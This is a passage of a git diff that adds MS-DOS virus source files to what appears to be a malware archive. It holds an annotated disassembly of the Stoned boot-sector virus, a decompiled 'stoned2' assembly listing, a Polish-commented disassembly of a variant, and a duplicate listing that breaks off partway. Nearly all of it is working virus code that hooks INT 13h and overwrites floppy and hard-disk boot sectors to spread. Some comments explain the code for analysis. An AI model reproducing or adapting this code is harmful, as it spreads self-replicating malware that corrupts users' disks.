offsets have an assembled +; value of the order 7Cxx. Access them here through the DS: segment override +;***************************************************************************** + + +D_TYPE = 07C00h + OFFSET _D_TYPE +O_13_O = 07C00h + OFFSET _O_13_O +O_13_S = 07C00h + OFFSET _O_13_S +J_AD_O = 07C00h + OFFSET _J_AD_O +J_AD_S = 07C00h + OFFSET _J_AD_S +BT_ADD = 07C00h + OFFSET _BT_ADD + + + +JPBOOT: XOR AX,AX + MOV DS,AX ;DS = 0 + +;********************************************************* +; Set up a usable stack +;********************************************************* + + CLI + MOV SS,AX ;SS = 0 + MOV SP,OFFSET 7C00H ;Position stack at 0000:7C00 + STI + +;********************************************************* +; Capture the INT 13 vector (BIOS disk I/O) +;********************************************************* + + MOV AX,DS:4CH ;Offset for old INT 13 vector + MOV DS:O_13_O,AX ;Save the offset + MOV AX,DS:4EH ;Segment for old INT 13 vector + MOV DS:O_13_S,AX ;Save the segment + +;***************************************************************************** +; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but +; stealing an odd number of K would result in an odd number shown available +; when a CHKDSK is run. This might be too obvious. Or the programmer may have +; had other plans for the memory. +;***************************************************************************** + + MOV AX,DS:413H ;BIOS' internal count of available memory + DEC AX + DEC AX ;Drop it by 2K ... + MOV DS:413H,AX ;...and store it (steal it!!) + +;********************************************************* +; Find the segment of the stolen memory +;********************************************************* + + MOV CL,6 + SHL AX,CL + MOV ES,AX + +;********************************************************* +; Use the segment of the stolen memory area +;********************************************************* + + MOV DS:J_AD_S,AX ;Becomes part of a JMP address + MOV AX,OFFSET NEW_13 + MOV DS:4CH,AX ;Offset for new INT 13 + MOV DS:4EH,ES ;Segment for new INT 13 + +;**************************************************************** +;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area) +;**************************************************************** + + MOV CX,OFFSET END_BYT ;The size of the code (# of bytes to move) + PUSH CS + POP DS ;DS = CS + XOR SI,SI + MOV DI,SI ;All offsets of block move areas are 0 + CLD + REPZ MOVSB ;Copy each byte of code to the top of memory + JMP DWORD PTR CS:JMP_ADR ;JMP to the transferred code... + + + +;************************************************************** +; ...and we'll jump right here, to the transferred code +;************************************************************** + + + +;**************************************************************************** +; Redefine variable offsets again. This code executes at the top of memory, +; and so the exact value of the segment registers depends on how much memory +; is installed. The variable offsets have an assembled value of the order of +; 00xx. They are accessed using the CS: segment override +;**************************************************************************** + +D_TYPE = OFFSET _D_TYPE +O_13_O = OFFSET _O_13_O +O_13_S = OFFSET _O_13_S +J_AD_O = OFFSET _J_AD_O +J_AD_S = OFFSET _J_AD_S +BT_ADD = OFFSET _BT_ADD + + +HI_JMP: MOV AX,0 + INT 13H ;Reset disk system + +;********************************************************************** +; This will read one sector into 0000:7C00 (the boot sector address) +;********************************************************************** + + XOR AX,AX + MOV ES,AX + MOV AX,201H ;Read one sector + MOV BX,OFFSET 7C00H ;To boot sector area: 0000:7C00 + CMP BYTE PTR CS:D_TYPE,0 ;Booting from diskette or hard drive? + + JZ DISKET ;If booting from a diskette + +;****************************************************** +; Booting from a hard drive +;****************************************************** + + MOV CX,7 ;Track 0, sector 7 + MOV DX,80H ;Hard drive, side 0 + INT 13H ;Go get it + +; ***NOTE** There was no check as to wether or not the read was sucessful + + JMP SHORT BOOTUP ;Go run the real boot sector we've installed + + NOP + +;****************************************************** +; Booting from a diskette +;****************************************************** + +DISKET: MOV CX,3 ;Track 0, sector 3 + MOV DX,100H ;A drive, side 1 (last sector of the directory) + INT 13H ;Go get it + JB BOOTUP ;If read error, run it anyway.(???) (A prank?) + +;**************************************************************** +;Wether or not we print the "Stoned" message depends on the value +; of a byte in the internal clock time -- a fairly random event. +;**************************************************************** + + TEST BYTE PTR ES:46CH,7 ;Test a bit in the clock time + JNZ GETHDB ;Get Hard drive boot sector + +;************************************************************** +; Print the message +;************************************************************** + + MOV SI,OFFSET S_MSG ;Address of the "stoned message" + PUSH CS + POP DS + +;************************************************************** +; Loop to print individual characters +;************************************************************** + +PRINT1: LODSB + OR AL,AL ;A 00 byte means quit the loop + JZ GETHDB ;Get Hard drive boot sector, then + +;************************************************************** +; Not done looping. Print another character +;************************************************************** + + MOV AH,0EH + MOV BH,0 + INT 10H + JMP SHORT PRINT1 ;Print a character on screen + + +;************************************************************** +; Get Hard drive boot sector +;************************************************************** + +GETHDB: PUSH CS + POP ES + MOV AX,201H ;Read one sector... + MOV BX,200H ;...to the buffer following this code... + MOV CL,1 ;...from sector 1... + MOV DX,80H ;...side 0, of the hard drive + INT 13H + JB BOOTUP ;If error, assume no hard drive + ; So go run the floppy boot sector + +;*************************************************************************** +; If no read error, then there really must be a hard drive. Infect it. The +; following code uses the same trick above where the first 4 bytes of the +; boot sector are compared to the first 4 bytes of this code. If they don't +; match exactly, then this hard drive isn't infected. +;*************************************************************************** + + PUSH CS + POP DS + MOV SI,200H + MOV DI,0 + LODSW + CMP AX,[DI] + JNZ HIDEHD ;Hide real boot sector in hard drive + + LODSW + CMP AX,[DI+2] + JNZ HIDEHD ;Hide real boot sector in hard drive + +;************************************************************** +; Go run the real boot sector +;************************************************************** + +BOOTUP: MOV BYTE PTR CS:D_TYPE,0 + JMP DWORD PTR CS:BT_ADD + +;************************************************************** +; Infect - Hide real boot sector in hard drive +;************************************************************** + +HIDEHD: MOV BYTE PTR CS:D_TYPE,2 ;Mark this as a hard drive infection + MOV AX,301H ;Write i sector... + MOV BX,200H ;...from the buffer following this code... + MOV CX,7 ;...to track 0, sector 7... + MOV DX,80H ;...side 0, of the hard drive... + INT 13H ;Do it + JB BOOTUP ;Go run the real boot sector if failed + +;************************************************** +; Here if the boot sector got written successfully +;*************************************************** + + PUSH CS + POP DS + PUSH CS + POP ES + MOV SI,3BEH ;Offset of disk partition table in the buffer + MOV DI,1BEH ;Copy it to the same offset in this code + MOV CX,242H ;Strange. Only need to move 42H bytes. This + ; won't hurt, and will overwrite the copy of + ; the boot sector, maybe giving a bit more + ; concealment. + REPZ MOVSB ;Move them + MOV AX,301H ;Write 1 sector... + XOR BX,BX ;...of this code... + INC CL ;...into sector 1 + INT 13H + +; ***NOTE*** no check for a sucessful write + + JMP BOOTUP ;Now run the real boot sector + +S_MSG DB 7,'Your PC is now Stoned!',7,CR,LF + DB LF + +;************************************************************************* +; Just garbage. In one version, this contained an extension of the above +; string, saying "LEGALIZE MARIJUANA". Some portions of this text remain +;************************************************************************* + + DB 0,4CH,45H,47H,41H + DB 4CH,49H,53H,45H,67H + DB 2,4,68H,2,68H + DB 2,0BH,5,67H,2 + +END_BYT EQU $ ;Used to determine the size of the code. It + ; must be less than 1BE, or this code is too + ; large to be used to infect hard disks. From + ; offset 1BE and above, the hard disk partition + ; table will be copied, and anything placed + ; there will get clobbered. + + CODE ENDS + +END + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.stoned2a.asm b/MSDOS/Virus.MSDOS.Unknown.stoned2a.asm new file mode 100644 index 00000000..6ce70c5a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stoned2a.asm @@ -0,0 +1,177 @@ + +PAGE 60,132 + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +;栩 栩 +;栩 STONED2 栩 +;栩 栩 +;栩 Created: 1-Jan-80 栩 +;栩 栩 +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +DATA_1E EQU 8 ; (694B:0008=0) +DATA_2E EQU 9 ; (694B:0009=0) +DATA_3E EQU 11H ; (694B:0011=0) + +CODE_SEG_A SEGMENT + ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A + + + ORG 100h + +stoned2 PROC FAR + +start: + DB 31488 DUP (0) + DB 0EAH, 5, 0, 0C0H, 7, 0E9H + DB 99H, 0, 0, 11H, 99H, 0 + DB 0F0H, 0E4H, 0, 80H, 9FH, 0 + DB 7CH, 0, 0, 1EH, 50H, 80H + DB 0FCH, 2, 72H, 17H, 80H, 0FCH + DB 4, 73H, 12H, 0AH, 0D2H, 75H + DB 0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H + DB 3FH, 4, 0A8H, 1, 75H, 3 + DB 0E8H, 7, 0, 58H, 1FH, 2EH + DB 0FFH, 2EH, 9, 0, 53H, 51H + DB 52H, 6, 56H, 57H, 0BEH, 4 + DB 0 +LOC_1: + MOV AX,201H + PUSH CS + POP ES + MOV BX,200H + XOR CX,CX ; Zero register + MOV DX,CX + INC CX + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + JNC LOC_2 ; Jump if carry=0 + XOR AX,AX ; Zero register + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + DEC SI + JNZ LOC_1 ; Jump if not zero + JMP SHORT LOC_4 + DB 90H +LOC_2: + XOR SI,SI ; Zero register + MOV DI,200H + CLD ; Clear direction + PUSH CS + POP DS + LODSW ; String [si] to ax + CMP AX,[DI] + JNE LOC_3 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,[DI+2] + JE LOC_4 ; Jump if equal +LOC_3: + MOV AX,301H + MOV BX,200H + MOV CL,3 + MOV DH,1 + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + JC LOC_4 ; Jump if carry Set + MOV AX,301H + XOR BX,BX ; Zero register + MOV CL,1 + XOR DX,DX ; Zero register + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) +LOC_4: + POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + DB 33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH + DB 0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H + DB 4CH, 0, 0A3H, 9, 7CH, 0A1H + DB 4EH, 0, 0A3H, 0BH, 7CH, 0A1H + DB 13H, 4, 48H, 48H, 0A3H, 13H + DB 4, 0B1H, 6, 0D3H, 0E0H, 8EH + DB 0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H + DB 0, 0A3H, 4CH, 0, 8CH, 6 + DB 4EH, 0, 0B9H, 0B8H, 1, 0EH + DB 1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH + DB 0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH + DB 0, 0B8H, 0, 0, 0CDH, 13H + DB 33H, 0C0H, 8EH, 0C0H, 0B8H, 1 + DB 2, 0BBH, 0, 7CH, 2EH, 80H + DB 3EH, 8, 0, 0, 74H, 0BH + DB 0B9H, 7, 0, 0BAH, 80H, 0 + DB 0CDH, 13H, 0EBH, 49H, 90H, 0B9H + DB 3, 0, 0BAH, 0, 1, 0CDH + DB 13H, 72H, 3EH, 26H, 0F6H, 6 + DB 6CH, 4, 7, 75H, 12H, 0BEH + DB 89H, 1, 0EH, 1FH +LOC_5: + LODSB ; String [si] to al + OR AL,AL ; Zero ? + JZ LOC_6 ; Jump if zero + MOV AH,0EH + MOV BH,0 + INT 10H ; Video display ah=functn 0Eh + ; write char al, teletype mode + JMP SHORT LOC_5 +LOC_6: + PUSH CS + POP ES + MOV AX,201H + MOV BX,200H + MOV CL,1 + MOV DX,80H + INT 13H ; Disk dl=drive a: ah=func 02h + ; read sectors to memory es:bx + JC LOC_7 ; Jump if carry Set + PUSH CS + POP DS + MOV SI,200H + MOV DI,0 + LODSW ; String [si] to ax + CMP AX,[DI] + JNE LOC_8 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,[DI+2] + JNE LOC_8 ; Jump if not equal +LOC_7: + MOV BYTE PTR CS:DATA_1E,0 ; (694B:0008=0) + JMP DWORD PTR CS:DATA_3E ; (694B:0011=0) +LOC_8: + MOV BYTE PTR CS:DATA_1E,2 ; (694B:0008=0) + MOV AX,301H + MOV BX,200H + MOV CX,7 + MOV DX,80H + INT 13H ; Disk dl=drive a: ah=func 03h + ; write sectors from mem es:bx + JC LOC_7 ; Jump if carry Set + PUSH CS + POP DS + PUSH CS + POP ES + MOV SI,3BEH + MOV DI,1BEH + MOV CX,242H + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV AX,301H + XOR BX,BX ; Zero register + INC CL + INT 13H ; Disk dl=drive a: ah=func 03h + ; write sectors from mem es:bx + JMP SHORT LOC_7 + DB 7 + DB 35 DUP (0) + DB 67H, 2, 6, 67H, 2, 67H + DB 2, 0BH, 3, 67H, 2 + +stoned2 ENDP + +CODE_SEG_A ENDS + + + + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.stoned_f.asm b/MSDOS/Virus.MSDOS.Unknown.stoned_f.asm new file mode 100644 index 00000000..b4141cd9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stoned_f.asm @@ -0,0 +1,285 @@ +;---------------------------------------------------------------------------- +; Wirus dostarczony Grzegorzowi Eiderowi do redakcji KOMPUTERA w poowie +; listopada 1989. Dostawc jest uytkownik z Wiednia: +; +; Karol Grabski +; Vien +; Krummgasse 3/18 +; tel. 7133735 +; +; SCAN 0.4V35 identyfikuje go jako: STONED VIRUS +; Wirus ma spolszczony komunikat! Oryginalny jest chyba duszy i nawizuje +; do legalizacji marihuany +; +; Na dyskietce wirus rezyduje w boot sector, oryginalny boot sektor chowa do +; ostatniego sektora zajmowanego przez katalog gwny dyskietki. +; Na dysku twardym wirus rezyduje w master boot sektor twardego dysku a +; orygina chowa do 7 sektora cieki 0, strona 0 (czyli poza zasigiem DOS) +;----------------------------------------------------------------------------- + +; Posta wirusa bezporednio po wczytaniu do pamici z dyskietki + +; bajty identyfikujce wirusa (w jego wasnym autotecie) + +07C0:0000 EA0500C007 JMP 07C0:0005 ; skok do nastpnej instrukcji +07C0:0005 E99900 JMP 00A1 + +; normalnie w tym obszarze s dane dyskietki, ten wirus, jak wida, tym si +; nie przejmuje i traktuje ten obszar jako roboczy + +07C0:0008 00 ; flaga 0 - oznacza start z dyskietki, 2 - z twardego +07C0:0009 69 A0 00 F0 ; oryginalny adres INT 13h +07C0:000D E4 00 80 9F ; adres wirusa w pamici operacyjnej +07C0:0011 00 7C 00 00 ; address of boot sector in memory + +;------------------------------------------------------- +; Nowa obsuga INT 13h +;------------------------------------------------------- + +07C0:0015 1E PUSH DS +07C0:0016 50 PUSH AX +07C0:0017 80FC02 CMP AH,02 ; poniej 'odczyt sektora' +07C0:001A 7217 JB 0033 ; nieciekawa funkcja + +07C0:001C 80FC04 CMP AH,04 ; powyej 'zapis sektora' +07C0:001F 7312 JAE 0033 ; nieciekawa funkcja + +07C0:0021 0AD2 OR DL,DL ; nr dysku +07C0:0023 750E JNZ 0033 ; r▼ny od A + +07C0:0025 33C0 XOR AX,AX +07C0:0027 8ED8 MOV DS,AX +07C0:0029 A03F04 MOV AL,[043F] ; diskette drive motor status +07C0:002C A801 TEST AL,01 ; motor 1 on +07C0:002E 7503 JNZ 0033 ; nie tym razem +07C0:0030 E80700 CALL 003A +07C0:0033 58 POP AX +07C0:0034 1F POP DS +07C0:0035 2E CS: +07C0:0036 FF2E0900 JMP FAR [0009] ; oryginalne INT 13h + +07C0:003A 53 PUSH BX ; przechowaj rejestry +07C0:003B 51 PUSH CX +07C0:003C 52 PUSH DX +07C0:003D 06 PUSH ES +07C0:003E 56 PUSH SI +07C0:003F 57 PUSH DI + +07C0:0040 BE0400 MOV SI,0004 ; licznik prb +07C0:0043 B80102 MOV AX,0201 ; odczyt sektora +07C0:0046 0E PUSH CS +07C0:0047 07 POP ES +07C0:0048 BB0002 MOV BX,0200 ; za wasny kod +07C0:004B 33C9 XOR CX,CX +07C0:004D 8BD1 MOV DX,CX +07C0:004F 41 INC CX ; boot sektor dysku A ? +07C0:0050 9C PUSHF +07C0:0051 2E CS: +07C0:0052 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h +07C0:0056 730E JAE 0066 ; odczyt udany + +07C0:0058 33C0 XOR AX,AX ; resetuj dysk +07C0:005A 9C PUSHF +07C0:005B 2E CS: +07C0:005C FF1E0900 CALL FAR [0009] ; oryginalne INT 13h +07C0:0060 4E DEC SI +07C0:0061 75E0 JNZ 0043 ; ponawiaj prb odczytu + +07C0:0063 EB35 JMP 009A ; wycofujemy si +07C0:0065 90 NOP + +07C0:0066 33F6 XOR SI,SI ; sprawd czy zainfekowany? +07C0:0068 BF0002 MOV DI,0200 +07C0:006B FC CLD +07C0:006C 0E PUSH CS +07C0:006D 1F POP DS +07C0:006E AD LODSW +07C0:006F 3B05 CMP AX,[DI] +07C0:0071 7506 JNZ 0079 ; jeszcze nie + +07C0:0073 AD LODSW +07C0:0074 3B4502 CMP AX,[DI+02] +07C0:0077 7421 JZ 009A ; wycofuj si + +; infekcja dyskietki + +07C0:0079 B80103 MOV AX,0301 ; zapisuj sektor na dysk +07C0:007C BB0002 MOV BX,0200 ; z ES:BX +07C0:007F B103 MOV CL,03 ; do sektora 3 +07C0:0081 B601 MOV DH,01 ; na stronie 1 +07C0:0083 9C PUSHF ; czyli ostatni sektor zajmowany +07C0:0084 2E CS: ; przez 'root directory' +07C0:0085 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h +07C0:0089 720F JB 009A + +07C0:008B B80103 MOV AX,0301 ; zapisuj sektor na dysk +07C0:008E 33DB XOR BX,BX ; ES:0 czyli wirusa +07C0:0090 B101 MOV CL,01 ; sektor 0 +07C0:0092 33D2 XOR DX,DX ; strona 0 dysk 0 +07C0:0094 9C PUSHF ; czyli jako nowy 'boot sector' +07C0:0095 2E CS: +07C0:0096 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h + +07C0:009A 5F POP DI ; koniec wistw +07C0:009B 5E POP SI +07C0:009C 07 POP ES +07C0:009D 5A POP DX +07C0:009E 59 POP CX +07C0:009F 5B POP BX +07C0:00A0 C3 RET + +;---------------------------------------- +; kod startowy wirusa +;---------------------------------------- + +07C0:00A1 33C0 XOR AX,AX ; inicjuj rejestry i stos +07C0:00A3 8ED8 MOV DS,AX +07C0:00A5 FA CLI +07C0:00A6 8ED0 MOV SS,AX +07C0:00A8 BC007C MOV SP,7C00 + +07C0:00AB FB STI +07C0:00AC A14C00 MOV AX,[004C] ; odczyt wektora INT 13h +07C0:00AF A3097C MOV [7C09],AX +07C0:00B2 A14E00 MOV AX,[004E] +07C0:00B5 A30B7C MOV [7C0B],AX +07C0:00B8 A11304 MOV AX,[0413] ; rozmiar pamici operacyjnej w KB +07C0:00BB 48 DEC AX ; szykuj miejsce dla wirusa +07C0:00BC 48 DEC AX +07C0:00BD A31304 MOV [0413],AX ; informacja dla DOS + +07C0:00C0 B106 MOV CL,06 ; przelicz na paragrafy +07C0:00C2 D3E0 SHL AX,CL +07C0:00C4 8EC0 MOV ES,AX ; segment wirusa +07C0:00C6 A30F7C MOV [7C0F],AX ; zapamitaj segment wirusa +07C0:00C9 B81500 MOV AX,0015 ; offset nowej obsugi INT 13h +07C0:00CC A34C00 MOV [004C],AX +07C0:00CF 8C064E00 MOV [004E],ES ; segment nowej obsugi INT 13h + +07C0:00D3 B9B801 MOV CX,01B8 ; przesu kod wirusa +07C0:00D6 0E PUSH CS ; ma to na celu instalacj +07C0:00D7 1F POP DS ; czci rezydentnej +07C0:00D8 33F6 XOR SI,SI ; w kocu pamici operacyjnej +07C0:00DA 8BFE MOV DI,SI +07C0:00DC FC CLD +07C0:00DD F3 REPZ +07C0:00DE A4 MOVSB +07C0:00DF 2E CS: +07C0:00E0 FF2E0D00 JMP FAR [000D] ; skok do przesunitego kodu + +; czyli tutaj + +07C0:00E4 B80000 MOV AX,0000 ; resetuj dysk +07C0:00E7 CD13 INT 13 + +07C0:00E9 33C0 XOR AX,AX ; zeruj ES +07C0:00EB 8EC0 MOV ES,AX +07C0:00ED B80102 MOV AX,0201 ; czytaj 1 sektor +07C0:00F0 BB007C MOV BX,7C00 ; do ES:BX (0:7C00) +07C0:00F3 2E CS: +07C0:00F4 803E080000 CMP BYTE PTR [0008],00 ;test flagi (z dyskietki?) +07C0:00F9 740B JZ 0106 ; sprawdzaj flopa + +07C0:00FB B90700 MOV CX,0007 ; numer sektora ze strony 0 +07C0:00FE BA8000 MOV DX,0080 ; pierwszy twardy dysk +07C0:0101 CD13 INT 13 ; tam jest oryginalny boot sektor +07C0:0103 EB49 JMP 014E ; koniec dziaalnoci wirusa +07C0:0105 90 NOP + +07C0:0106 B90300 MOV CX,0003 ; sektor nr 3 cieka 0 +07C0:0109 BA0001 MOV DX,0100 ; strona 1 dysk nr 0 (A) +07C0:010C CD13 INT 13 +07C0:010E 723E JB 014E ; koniec dziaalnoci wirusa + +;----------------------------------------------------------------- +; komunikat "Twj PC jest teraz be!" wraz z sygnaem dwikowym +;----------------------------------------------------------------- + +07C0:0110 26 ES: +07C0:0111 F6066C0407 TEST BYTE PTR [046C],07 ; modsze sowo zegara +07C0:0116 7512 JNZ 012A ; pomijaj komunikat + +07C0:0118 BE8901 MOV SI,0189 ; adres komunikatu +07C0:011B 0E PUSH CS +07C0:011C 1F POP DS + +07C0:011D AC LODSB ; drukowanie komunikatu (ASCIIZ) +07C0:011E 0AC0 OR AL,AL +07C0:0120 7408 JZ 012A + +07C0:0122 B40E MOV AH,0E ; write character (TTY mode) +07C0:0124 B700 MOV BH,00 ; numer strony video +07C0:0126 CD10 INT 10 +07C0:0128 EBF3 JMP 011D ; pobierz nastpny znak + +;--------------------------------------------------- +; kontrola czy twardy dysk systemowy jest czysty? +;--------------------------------------------------- + +07C0:012A 0E PUSH CS +07C0:012B 07 POP ES +07C0:012C B80102 MOV AX,0201 ; czytaj 1 sektor dysku +07C0:012F BB0002 MOV BX,0200 ; do ES:BX za wirusa +07C0:0132 B101 MOV CL,01 ; numer sektora +07C0:0134 BA8000 MOV DX,0080 ; pierwszy twardy dysk, strona 0 +07C0:0137 CD13 INT 13 +07C0:0139 7213 JB 014E ; problemy! + +07C0:013B 0E PUSH CS ; sprawdzaj czy ju zainfekowany +07C0:013C 1F POP DS +07C0:013D BE0002 MOV SI,0200 +07C0:0140 BF0000 MOV DI,0000 +07C0:0143 AD LODSW +07C0:0144 3B05 CMP AX,[DI] +07C0:0146 7511 JNZ 0159 + +07C0:0148 AD LODSW +07C0:0149 3B4502 CMP AX,[DI+02] +07C0:014C 750B JNZ 0159 + +;----------------------------------------------------- +; koniec akcji, kontynuuj waciwy bootstrap +;----------------------------------------------------- + +07C0:014E 2E CS: +07C0:014F C606080000 MOV BYTE PTR [0008],00 ; flaga 'z dyskietki' +07C0:0154 2E CS: +07C0:0155 FF2E1100 JMP FAR [0011] ; kontynuuj bootstrap + +;------------------------------------------------ +; infekuj pierwszy twardy dysk +;------------------------------------------------ + +07C0:0159 2E CS: +07C0:015A C606080002 MOV BYTE PTR [0008],02 ; flaga 'z twardego' +07C0:015F B80103 MOV AX,0301 ; zapisz 1 sektor dyskowy +07C0:0162 BB0002 MOV BX,0200 ; ES:BX skd +07C0:0165 B90700 MOV CX,0007 ; do sektora nr 7 +07C0:0168 BA8000 MOV DX,0080 ; strona 0 pierwszego dysku twardego +07C0:016B CD13 INT 13 +07C0:016D 72DF JB 014E ; problemy! + +07C0:016F 0E PUSH CS ; uzupenij wirusa wczytanym kodem +07C0:0170 1F POP DS ; czyli tablicami partycji dysku +07C0:0171 0E PUSH CS +07C0:0172 07 POP ES +07C0:0173 BEBE03 MOV SI,03BE +07C0:0176 BFBE01 MOV DI,01BE +07C0:0179 B94202 MOV CX,0242 +07C0:017C F3 REPZ +07C0:017D A4 MOVSB +07C0:017E B80103 MOV AX,0301 ; zapisz na dysk +07C0:0181 33DB XOR BX,BX ; ES:0 skd (cay wirus) +07C0:0183 FEC1 INC CL ; CL := 1 numer sektora +07C0:0185 CD13 INT 13 +07C0:0187 EBC5 JMP 014E ; koniec + +07C0:0189 07 54 77 A2 6A 20 50 .Twj P +07C0:0190 43 20 6A 65 73 74 20 74-65 72 61 7A 20 62 65 21 C jest teraz be! +07C0:01A0 07 0D 0A 0A 00 4C 45 47-41 4C 49 53 45 20 4D 41 .....LEGALISE MA +07C0:01B0 52 49 4A 55 41 4E 41 3F-00 00 00 00 00 00 00 00 RIJUANA?........ + * 0004 Lines Of 00 Skipped * +07C0:0200 00 00 00 00 00 00 00 00-00 ......... + +; Brak oznakowania koca sektora! (55AA) + diff --git a/MSDOS/Virus.MSDOS.Unknown.stonedii.asm b/MSDOS/Virus.MSDOS.Unknown.stonedii.asm new file mode 100644 index 00000000..6ce70c5a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stonedii.asm @@ -0,0 +1,177 @@ + +PAGE 60,132 + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +;栩 栩 +;栩 STONED2 栩 +;栩 栩 +;栩 Created: 1-Jan-80 栩 +;栩 栩 +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +DATA_1E EQU 8 ; (694B:0008=0) +DATA_2E EQU 9 ; (694B:0009=0) +DATA_3E EQU 11H ; (694B:0011=0) + +CODE_SEG_A SEGMENT + ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A + + + ORG 100h + +stoned2 PROC FAR + +start: + DB 31488 DUP (0) + DB 0EAH, 5, 0, 0C0H, 7, 0E9H + DB 99H, 0, 0, 11H, 99H, 0 + DB 0F0H, 0E4H, 0, 80H, 9FH, 0 + DB 7CH, 0, 0, 1EH, 50H, 80H + DB 0FCH, 2, 72H, 17H, 80H, 0FCH + DB 4, 73H, 12H, 0AH, 0D2H, 75H + DB 0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H + DB 3FH, 4, 0A8H, 1, 75H, 3 + DB 0E8H, 7, 0, 58H, 1FH, 2EH + DB 0FFH, 2EH, 9, 0, 53H, 51H + DB 52H, 6, 56H, 57H, 0BEH, 4 + DB 0 +LOC_1: + MOV AX,201H + PUSH CS + POP ES + MOV BX,200H + XOR CX,CX ; Zero register + MOV DX,CX + INC CX + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + JNC LOC_2 ; Jump if carry=0 + XOR AX,AX ; Zero register + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + DEC SI + JNZ LOC_1 ; Jump if not zero + JMP SHORT LOC_4 + DB 90H +LOC_2: + XOR SI,SI ; Zero register + MOV DI,200H + CLD ; Clear direction + PUSH CS + POP DS + LODSW ; String [si] to ax + CMP AX,[DI] + JNE LOC_3 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,[DI+2] + JE LOC_4 ; Jump if equal +LOC_3: + MOV AX,301H + MOV BX,200H + MOV CL,3 + MOV DH,1 + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) + JC LOC_4 ; Jump if carry Set + MOV AX,301H + XOR BX,BX ; Zero register + MOV CL,1 + XOR DX,DX ; Zero register + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_2E ; (694B:0009=0) +LOC_4: + POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + DB 33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH + DB 0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H + DB 4CH, 0, 0A3H, 9, 7CH, 0A1H + DB 4EH, 0, 0A3H, 0BH, 7CH, 0A1H + DB 13H, 4, 48H, 48H, 0A3H, 13H + DB 4, 0B1H, 6, 0D3H, 0E0H, 8EH + DB 0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H + DB 0, 0A3H, 4CH, 0, 8CH, 6 + DB 4EH, 0, 0B9H, 0B8H, 1, 0EH + DB 1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH + DB 0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH + DB 0, 0B8H, 0, 0, 0CDH, 13H + DB 33H, 0C0H, 8EH, 0C0H, 0B8H, 1 + DB 2, 0BBH, 0, 7CH, 2EH, 80H + DB 3EH, 8, 0, 0, 74H, 0BH + DB 0B9H, 7, 0, 0BAH, 80H, 0 + DB 0CDH, 13H, 0EBH, 49H, 90H, 0B9H + DB 3, 0, 0BAH, 0, 1, 0CDH + DB 13H, 72H, 3EH, 26H, 0F6H, 6 + DB 6CH, 4, 7, 75H, 12H, 0BEH + DB 89H, 1, 0EH, 1FH +LOC_5: + LODSB ; String [si] to al + OR AL,AL ; Zero ? + JZ LOC_6 ; Jump if zero + MOV AH,0EH + MOV BH,0 + INT 10H ; Video display ah=functn 0Eh + ; write char al, teletype mode + JMP SHORT LOC_5 +LOC_6: + PUSH CS + POP ES + MOV AX,201H + MOV BX,200H + MOV CL,1 + MOV DX,80H + INT 13H ; Disk dl=drive a: ah=func 02h + ; read sectors to memory es:bx + JC LOC_7 ; Jump if carry Set + PUSH CS + POP DS + MOV SI,200H + MOV DI,0 + LODSW ; String [si] to ax + CMP AX,[DI] + JNE LOC_8 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,[DI+2] + JNE LOC_8 ; Jump if not equal +LOC_7: + MOV BYTE PTR CS:DATA_1E,0 ; (694B:0008=0) + JMP DWORD PTR CS:DATA_3E ; (694B:0011=0) +LOC_8: + MOV BYTE PTR CS:DATA_1E,2 ; (694B:0008=0) + MOV AX,301H + MOV BX,200H + MOV CX,7 + MOV DX,80H + INT 13H ; Disk dl=drive a: ah=func 03h + ; write sectors from mem es:bx + JC LOC_7 ; Jump if carry Set + PUSH CS + POP DS + PUSH CS + POP ES + MOV SI,3BEH + MOV DI,1BEH + MOV CX,242H + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV AX,301H + XOR BX,BX ; Zero register + INC CL + INT 13H ; Disk dl=drive a: ah=func 03h 